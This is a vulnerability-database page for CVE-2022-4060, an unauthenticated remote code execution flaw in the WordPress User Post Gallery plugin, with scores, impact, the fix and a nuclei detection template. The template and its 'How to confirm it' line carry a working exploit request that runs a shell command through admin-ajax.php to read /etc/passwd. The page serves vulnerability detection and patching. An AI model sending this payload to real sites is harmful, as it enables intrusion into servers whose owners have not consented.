HexBrain

Browse / CVEs / CVE-2022-4060

CVE-2022-4060· odude / user post gallery· CWE-94

WordPress User Post Gallery <=2.19 - Remote Code Execution

criticalseverity
9.8CVSS score
42.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.

Fix

Update to the latest version of the User Post Gallery plugin (>=2.20) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL
Positive when: contains in header "application/json" AND contains "recordsFiltered" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-4060 -u <target>

The full check
id: CVE-2022-4060

info:
  name: WordPress User Post Gallery <=2.19 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of the User Post Gallery plugin (>=2.20) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8f982ebd-6fc5-452d-8280-42e027d01b1e
    - https://wordpress.org/plugins/wp-upg/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4060
    - https://github.com/im-hanzou/UPGer
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4060
    cwe-id: CWE-94
    epss-score: 0.42723
    epss-percentile: 0.98723
    cpe: cpe:2.3:a:odude:user_post_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: odude
    product: user_post_gallery
    framework: wordpress
  tags: cve,cve2022,unauth,wpscan,rce,wordpress,wp-plugin,wp,wp-upg,odude,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - "recordsFiltered"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from